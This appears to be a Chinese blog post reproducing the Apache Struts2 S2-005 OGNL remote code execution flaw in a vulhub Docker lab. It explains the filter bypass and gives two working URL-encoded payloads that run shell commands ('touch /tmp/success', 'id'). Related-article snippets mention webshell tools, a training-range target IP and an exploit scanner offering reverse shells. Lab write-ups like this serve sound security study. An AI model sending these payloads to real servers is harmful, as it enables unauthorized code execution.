Struts2漏洞S2-005复现笔记

【web攻防】安鸾靶场开发框架Struct2远程命令执行 Struct2-S2-005/S2-053远程代码执行漏洞 靶场实战+学习记录 struct2 远程命令执行01 随便输入一个 k8工具连接 上传冰蝎自带马 冰蝎连接 Struct2远程命令执行02 漏洞地址 http://106.15.50.112:8027/hello.action 漏洞POC %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymp... 阅读详情

Struts2漏洞S2-005复现笔记

漏洞原理

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开

影响版本:Struts 2.0.0-2.1.8.1

漏洞搭建

https://github.com/vulhub/vulhub/tree/master/struts2/s2-005

运行以下命令启动环境

docker-compose build
docker-compose up -d

搭建成功:
在这里插入图片描述

构建poc

使用抓包工具burp suite,修改数据包插入poc

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

在这里插入图片描述

Poc2:

?%27%2B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29%2B%27

在这里插入图片描述

查看数据连接状态

命令:

docker exec -it c25543ef6c4c /bin/bash

ls /tmp

在这里插入图片描述

【研究】Struts2漏洞之S2-005漏洞环境和POC 【研究】Struts2漏洞之S2-005漏洞环境和可用POC1.环境2.原理3.影响版本4.利用过程POC 1.环境 环境 https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md 这个搭环境很方便快捷,具体可以看说明,很简单 2.原理 参考吴翰清的《白帽子讲Web安全》一书。 s2-005漏洞的起源源于S2-003(受影响版本... 阅读详情

相关推荐

Struts2 漏洞复现之s2-005

Struts2 漏洞复现之s2-005 原理: s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击

weixin_51220765的博客 1731

s2-005远程执行漏洞靶机练写poc和exp

在安装好环境后,页面如下 靶机的ip为192.168.6.217 S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。 S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。 在github上有一段没有回显的poc验证 (%27%5cu0023_memberAccess[%5c%27allowStaticM

rlenew的博客 2015

vulhub靶场struts2漏洞复现

0x01、S2-001远程代码执行漏洞 原理 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行 影响版本 Struts 2.0.0 - Struts 2.0.8 poc 执行任意命令 %{#a=(new java.lan

weixin_44300286的博客 3086

java struts2 漏洞复现合集

目录 一、S2-001复现 二、S2-005复现 三、S2-007复现 四、S2-008复现 五、S2-009复现 六、S2-012复现 七、S2-013复现 八、S2-015复现 九、S2-016复现 十、S2-045复现 十一、S2-048复现 十二、S2-052复现 十三、S2-053复现 十四、S2-057复现 十五、S2-019复现 十六、S2-devMode 复现 Apache Struts2 是一个基于MVC设计模式的Web应用框架,会对某些标签属性(比如 i

whatday的专栏 9752

基于Vulhub的Struts2漏洞一键复现与深度分析实战指南

在Web安全领域,漏洞复现是理解漏洞原理、验证利用手法和评估风险的关键环节。传统手动搭建漏洞环境的方式,常因复杂的依赖配置和环境差异导致效率低下且结果难以复现。Docker容器技术通过将应用及其所有依赖打包成标准化、可移植的镜像,从根本上解决了环境一致性问题,为安全研究提供了理想的沙箱环境。基于Docker的Vulhub项目,集成了大量经典漏洞的预构建环境,实现了从环境搭建到漏洞验证的一站式解决方案。其核心价值在于将安全研究人员从繁琐的环境配置中解放出来,通过简单的docker-compose命令即可快速启

weixin_33646989的博客 357

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞 S2-005 (CVE-2010-1870)

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞 S2-005 (CVE-2010-1870) s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用

qq_51577576的博客 1606

Struts2框架漏洞总结与复现(上) 含Struts2检测工具

在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。时使用了重定向类型,并且还使用paramname作为重定向变量,UserAction中定义有一个name变量,当触发redirect类型返回时,Struts2获取使用{name}获取其值,在这个过程中会对name参数的值执行OGNL表达式解析,从而可以插入任何OGNL表达式导致命令执行。在账号密码的输入框中测试是否存在漏洞。

qq_53058639的博客 2475

Struts2-Scan:Struts2全漏洞扫描利用工具

Struts2-Scan Struts2漏洞利用扫描工具,基于互联网上已经公开的Structs2高危漏洞exp的扫描利用工具,目前支持的漏洞如下: S2-001, S2-003, S2-005, S2-007, S2-008, S2-009, S2-012, S2-013, S2-015, S2-016, S2-019, S2-029, S2-032, S2-033, S2-037, S2-045, S2-046, S2-048, S2-052, S2-053, S2-devMode, S2-057 支持单个URL漏洞检测和批量URL检测,至此指定漏洞利用,可获取WEB路径,执行命令,反弹shell和上传文件,注意,并不是所有的漏洞均支持上述功能,只有部分功能支持 如有错误或者问题欢迎大家提问交流,一起解决 运行环境 Python3.6.X及其以上版本 第三方库: click, reque

Struts2漏洞分析与复现合集

原理:该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。 漏洞环境搭建 https://github.com/vulhub/vulhub/tree/master/struts2/s2-001 运行以下命令进行设置 .............

未完成的歌~的博客 9263

Outlook总是提示登录微软,怎么办?

Outlook 2021反复弹出Microsoft登录窗口,可能是由于Modern Authentication身份验证机制或凭据问题导致。解决方案包括:1)通过注册表关闭Modern Authentication(适用于本地Exchange);2)清理Windows凭据管理器中的旧认证信息;3)手动配置Exchange服务器地址;4)通过注册表阻止Microsoft登录窗口弹出(适用于非M365环境)。建议按顺序尝试,尤其前两步通常能解决问题。经测试,步骤1和2已有效解决该问题。

剪刀石头布 4679

深入分析RAG知识库多模态数据预处理

多模态企业数据预处理是构建高质量RAG知识库的关键环节。本文详解了处理流程:1)文档格式识别与路由;2)多模态内容提取(文本、图像、音视频);3)结构解析与语义重建;4)数据清洗与增强;5)智能分块(强调语义完整性);6)元数据注入。推荐使用开源工具如PaddleOCR、Whisper、BLIP-2等,或商业API处理复杂场景,最终生成带丰富元数据的结构化内容,为后续向量化检索奠定基础。

qq_35354529的博客 1379

struts2远程代码执行漏洞合集

声明 好好学习,天天向上 S2-001 漏洞描述 因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行 影响范围 Struts 2.0.0 - Struts 2.0.8 复现过程 使用vulhub cd /app/vulhub-m

黑白的博客 9422

uniapp(全端兼容) - 最新详细实现双色球开奖走势图功能组件,uni-app红球走势图/蓝球走势图,解决双色球 “蓝球连线“ 问题,双色球效果及用线连接每个号码详细教程(同样适用于彩票开奖走势图

uni-app,双色球,安卓app,苹果app,微信小程序,移动端,H5网页,手机网站,微信小程序、支付宝小程序,手机app端,nvue,红球走势,蓝球走势,连线,uniapp(vue):js实现双色球开奖走势图带连线,vue2,vue3,uniApp双色球组件插件,uniapp如何实现双色球走势图和连线,彩票走势图,前端 Vue实现彩票走势图,详细示例,走势图,彩票项目,绘制股票走势图,前端 JS实现彩票开奖走势图 连线,Uniapp有没有双色球的页面代码,红球蓝球的走势图如何做,双色球红球和值尾走势图,

✅ 精选推荐文章 3346

Struts2框架漏洞总结与复现(S2-001,S2-005,S2-007)

MVC(模型-视图-控制器)是一种常用的软件设计模式,用于分离应用程序的业务逻辑、数据和用户界面。它通过将应用程序分为三个核心组件(Model、View 和 Controller),实现了关注点分离,从而提高了代码的可维护性和扩展性。

Cccchuan_的博客 1904

【LLM】大模型幻觉问题的原因和缓解方法

一、幻觉定义 备注(下面提及的两个名词): Faithfulness:是否遵循input content; Factualness:是否符合世界知识; 传统nlp任务重,幻觉大多数是faithfulness,比如Intrinsic Hallucination(冲突),摘要内容和document内容有冲突;再比如Extrinsic Hallucination(无中生有),生成内容中包含input要求的其他杂七杂八虚假信息;但LLM应该考虑的幻觉Factualness,因为数据源是Open-doman的世界知

发现问题,并解决问题,批判性思维 1万+

24、汽车黑客技术全解析:诊断代码、车库创建与系统攻防

本文深入探讨了汽车黑客技术的核心内容,包括诊断代码模式与参数ID、创建开放车库社区、汽车系统相关技术、硬件与软件工具、攻击与防御手段,以及车辆通信与网络安全。无论你是汽车安全研究人员、爱好者还是开发者,都能从中获取全面的技术解析与实践指南。

Apple的专栏 228

Vulhub下的Struts-2漏洞复现

参考网址: https://github.com/phith0n/vulhub/tree/master/struts2/ Struts-S2-001 远程代码利用表单验证错误 1.漏洞描述 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的...

weixin_44508748的博客 2万+

【无人机路径规划】基于强化学习实现多无人机路径规划

【无人机路径规划】基于强化学习实现多无人机路径规划

k8291121的博客 1658

【漏洞复现】Struts2系列漏洞复现

Structs2系列:恶意的OGNL表达式 ,可造成 任意代码执行

blackpeach的博客 1488

【ArcGIS微课1000例】0149:Geographic Imager6.6下载安装教程

首先保证电脑上安装对应版本的PS软件,笔者安装的是PS2023(V24.7)版本,然后安装本软件。保持以上窗口运行状态,然后打开PS,自动弹出如下窗口。勾选【Automatically checkout LIcense】,点击Close。双击setup开始安装,点击【确认】,一路默认安装到底。驱动器:DVD-ROM驱动器(用于DVD版本)处理器:2GHz或更快的英特尔或AMD处理器。安装完成后,将Crack中的所有文件拷贝到。硬盘:600 MB的可用硬盘空间用于安装。内存:4GB内存(建议8GB或更高)。

智慧空间实验室 1221

跟踪雷达点迹处理

1,点迹定义: 假设研究对象为位置x和速度v,预测值是根据这一时刻的x值、v值来预测下一时刻的x、v;测量值是根据传感器也就是雷达得到的,因为各种误差的存在,这两个值都不准确,所以把他们加权融合,得到一个新的量—状态值。 点迹就是所谓的测量值,由雷达对同一个目标探测到的一系列点(假设目标静止,但由于误差的存在,会扫描出不止一个点),航迹对应状态值,是点迹和预测轨迹的加权融合。 2,雷达信号和点迹处理关系: 3,点迹航迹处理流程 4,仿真 clear all; RealData=G

wangjie36的博客 1万+

Struts2漏洞复现

Struts2漏洞复现

weixin_51151498的博客 1821

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

Apache Struts2漏洞复现之s2-005漏洞复现

Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI,鼓励开发者采用MVC架构。 缘起于Apache Struts的WebWork框架,旨在提供相对于Struts框架的增强和改进,同时保留与Struts框架类似的结构。2005年12月,WebWork宣布WebWork 2.2以Apache Struts 2的名义合并至Struts。2007年2月第一个全发布(full release)版本释出。

热爱学习,喜欢折腾! 765

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

struts2漏洞s2-045漏洞利用测试

s2-045漏洞是一个可以执行远程命令的漏洞,该漏洞是struts2上传文件使用参数struts.multipart.parser=jakarta,并且文件上传采用了commons-fileupload的api导致的。只是使用struts.multipart.parser=jakarta并不能导致这个问题,需要在请求时,请求头使用Content-Type参数,这个参数必须带上一串奇怪的ognl表达...

feinifi的博客 6642

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

s2-059漏洞复现

s2-059 Struts2介绍 是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控

Birdman-one的博客 1616

mvc与struts2漏洞复现

文章目录1. 什么是mvc1.1 model1.2 controller1.3 view2. struts2漏洞原理2.1 OGNL2.2 expression2.3 root2.4 content3. S2-001的理解4. 其他参考文章 1. 什么是mvc mvc分为三部分,model、view、controller,是一种软件设计典范。 1.1 model 负责数据处理,并将处理结果返回给view显示出来。 1.2 controller 负责接收view传递的数据,并决定将这些数据传递给哪一个mode

Shanfenglan's blog 1178
上一篇: Struts2漏洞S2-001复现
下一篇: struts2远程S2-012复现学习
脚本实习生
博客等级 码龄8年 12粉丝 27原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

脚本实习生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值